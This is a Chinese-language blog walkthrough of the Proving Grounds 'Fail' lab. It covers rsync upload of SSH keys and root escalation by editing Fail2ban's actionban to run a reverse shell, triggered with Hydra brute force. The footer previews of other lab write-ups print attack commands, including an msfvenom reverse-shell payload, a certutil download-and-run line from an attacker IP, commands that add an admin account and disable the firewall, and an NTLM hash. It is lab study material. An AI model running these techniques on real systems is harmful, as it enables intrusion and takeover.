Proving Grounds Practice : Fail Walkthrough

-

 Proving Grounds Practice : Fail Walkthrough


Foothole (立足點 ) :

  • 873 Port 是 rsync 標準 Port
  • 利用 rsync 寫入檔案的權限上傳 authorized_keys
  • 使用 id_rsa KEY 登入系統

PE ( 提權 ) :

  • 發現 Fail2ban 系統且相關檔案有寫入的權限
  • 利用觸發 IPS 寫黑名單的設定檔，寫入一筆執行 Reverse Shell
  • 利用 Hydra 大量 Try 密碼觸發機制拿到 Reverse Shell

注意事項 :

  • rsync 的標準利用
  • IPS Fail2ban 的利用


第一步 Rustscan，└─$ rustscan -a 192.168.207.126 --scripts none --ulimit 5000 | tee rustscan

只有兩個 Port 22、873，看來不是很簡單就是很難搞



snmp closed，└─$ sudo nmap -sU -p 161 192.168.207.126 | tee snmp



nmap，└─$ sudo nmap -sCV -A -p 22,873 192.168.207.126 | tee nmap

22/tcp  open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

873/tcp open  rsync   (protocol version 31)



└─$ searchsploit rsync                                    



使用 21242 然後 └─$ gcc 21242.c -o 21242，出現一堆錯誤



改搜尋最好用的 Hacktricks 關鍵字 873 & Rsync



參考 : https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync



照著做做看，先枚舉└─$ nc -nv 192.168.207.126 873，枚舉的指令看來沒用


有告知可以用 nmap 掃


掃完跟 nc #list 結果一樣顯示 fox    fox home

已知分享的名稱為 fox



繼續往下看



列舉分享的資料夾，└─$ rsync -av --list-only rsync://192.168.207.126/fox

看來不用帶使用者名稱就可以直接列舉，該目錄看來是使用者 fox 的 home 目錄



剛用了第一個指令帶上 --list-only 參數，現在將參數拿掉並加上下載的路徑

指令 └─$ rsync -av rsync://192.168.207.126/fox ./rsyn_shared，檔案通通下載下來了



檔案內容沒有啥特別的



測試使用者帳號 fox 與密碼組合試試看 ssh，沒發現可用的結果



測試上傳 test.txt 到 fox 目錄看看

上傳指令 └─$ rsync -av ./test/test.txt rsync://192.168.207.126/fox

再 List 一次看看 └─$ rsync -av --list-only rsync://192.168.207.126/fox，確認檔案可以上傳寫入



先自己建立 Key，ssh-keygen



重新命名 id_rsa.pub 成 authorized_keys 然後放到 .ssh 目錄下



上傳 kali 本機的 .ssh 目錄到靶機

└─$ rsync -av ./.ssh rsync://192.168.207.126/fox




ssh 帶 id_rsa 進去了



cat /etc/crontab



ls -la /home



cat /etc/passwd

沒有特別的其他帳號



sudo -l 需要 fox 的密碼，測試了幾組都沒有過



SUID 指令，find / -perm -u=s -type f 2>/dev/null，沒有特別的指令



網路服務查看 netstat -natlp，沒有發現本機特殊的服務



查看可寫入的目錄，find / -writable -type d 2>/dev/null

有個怪怪的路徑 "/etc/fail2ban/action.d"



會注意到這個路徑是因為在列舉 id 時有發現現有使用者屬於 fail2ban 群組



而這個路徑下隸屬該群組的都有寫入的權限



Fail2ban 是 Linux 上的 IPS 系統

參考 : https://zh.wikipedia.org/zh-tw/Fail2ban



查看這個檔案 /etc/fail2ban/action.d/iptables-multiport.conf

內容有一個 actionban 的變數，目的是將 IP 列入黑名單



由於由 root 執行，且我們有寫入權限，所以直接在該執行操作加上我們想要的操作即可



修改該檔案讓他建立 Reverse Shell 回來



利用 hydra 大量 try 密碼讓它觸發 IPS



4444 listener 進來了，whoami & id 看一下確認是管理者




留言

張貼留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

-
圖片
Challenge 0 - Secura(2) 下一步就是先想辦法進入第二台 .96 Rustscan 看一下，看來這一台的梗在 3306 MySQL 上 測試了一下遠端 IP 被阻擋進入 MySQL 從已經打入的第一台 .95(SECURE) 搭建 chisel 去登入 .96 的 MySQL 看來也不行 先在第一台 .95 建立一個使用者 aries 與密碼 Oscp#1234 net user aries Oscp#1234 /add 加入到本機的 administrators 群組 net localgroup administrators aries /add 開啟 RDP reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 關掉 firewall netsh advfirewall set allprofiles state off RDP 進去開始枚舉，└─$ xfreerdp -v:192.168.204.95 -u:aries -p:'Oscp#1234' +clipboard -cert:ignore -drive:aries,/home/kali/lab0/95 網域簡名 SECURA 網域全名 secura.yzx 這一台有跑 PostgreSQL DB 跑在本機的 127.0.0.1 15432 Port 查找 *.kdbx & *.zip 發現 PostgreSQL 帳號密碼 postgres:appmanager 測試帳號密碼有效 甚麼都不能執行也找不到有用的資訊 暫時沒有方向，回到 .97 先枚舉使用者看看 ./kerbrute_linux_amd64 userenum --dc 192.168.204.97 -d secura.yzx -o kerbrute-user-enum xato-net-10-million-usernames.txt 獲得使用者帳號 michael、charlotte、secure、administrator、era 這幾個使用者都沒有 ASREP ./GetNPUsers....
閱讀完整內容

Challenge 0 - Secura(1)

-
圖片
 Challenge 0 - Secura(1) Offsec 在九月底的時候 LAB 推出了 Challenge 0，會取名 0 應該是相對簡單的，打打看吧 環境說明共三台機器，簡單掃了一下  - 95 : Web Server 感覺像是進入點  - 96 : DB 伺服器  - 97 : DC 95 8443 Port 打開是 AppManager14 版本是 14710 使用預設帳號密碼 admin:admin 可以直接登入 跑了一下 Metasploit 與 Exploit 針對 14700 的漏洞利用看來都沒有成功 5001 / 參考 Pentest Everything :  https://viperone.gitbook.io/pentest-everything/writeups/pg-practice/windows/metallus 自己建立一個 payload，└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.179 LPORT=443 -b '\x00\x01\x0d' -f exe -o revershell.exe 接著在 Admin --> Upload Files / Binaries 頁面選擇 [ Upload Script to <Product_Home>/working ] 設定執行的檔案為 cmd.bat 建立一個 cmd.bat，內容如下 certutil.exe -f -urlcache -split http://192.168.45.179/lab0/95/revershell.exe c:\windows\temp\revershell.exe && cmd.exe /c c:\windows\temp\revershell.exe 上傳 cmd.bat 執行該 Script，成功拿到 Rever Shell whoami 看一下，進來就是 nt authority\system 直接拿 flag 跑一下 mimikatz.exe administrator NTLM HASH a51493b0b06e5e35f855245e71af1d14 測試看看 e...
閱讀完整內容

Challenge 8 - Poseidon(0)

-
圖片
 Challenge 8 - Poseidon(0) 最近真的新的 LAB 連發，又多了一個 Challenge 8 : Poseidon 剛好近期有空，開來看看吧，又是一個三台的組合，應該又是 AD 題組 跟前一個題組 zeus 很像，都是三台面向使用者沒有內網的機器 ping 看看，看來三台都是 Windows Rustscan 掃掃看，看來第一台一樣是 DC └─$ rustscan -a 192.168.163.161 --scripts none --ulimit 5000 | tee rustscan 第二台看來也像 DC └─$ rustscan -a 192.168.163.162 --scripts none --ulimit 5000 | tee rustscan 第三台，└─$ rustscan -a 192.168.163.162 --scripts none --ulimit 5000 | tee rustscan 第一台 161 nmap 資訊 Domain : poseidon.yzx，電腦名稱 dc01 NetBIOS_Domain_Name : poseidon 第二台 162 nmap 資訊 這一台看來是 Sub Domain 的 DC，FQDN: dc02.sub.poseidon.yzx NetBIOS_Domain_Name : sub 第三台 163 nmap 資訊 ldapsearch 161，ldapsearch -v -x -b "DC=poseidon,DC=yzx" -H "ldap://192.168.163.161" "(objectclass=*)" ldapsearch 162，ldapsearch -v -x -b "DC=sub,DC=poseidon,DC=yzx" -H "ldap://192.168.163.162" "(objectclass=*)" 預設 smbclient 列舉都爬不到東西 帶入 poseidon\guest & sub\guest SMB 也都爬不到資訊 爬看看 161 Domain 的使用者，└─$ ./kerbrute_linux_amd64...
閱讀完整內容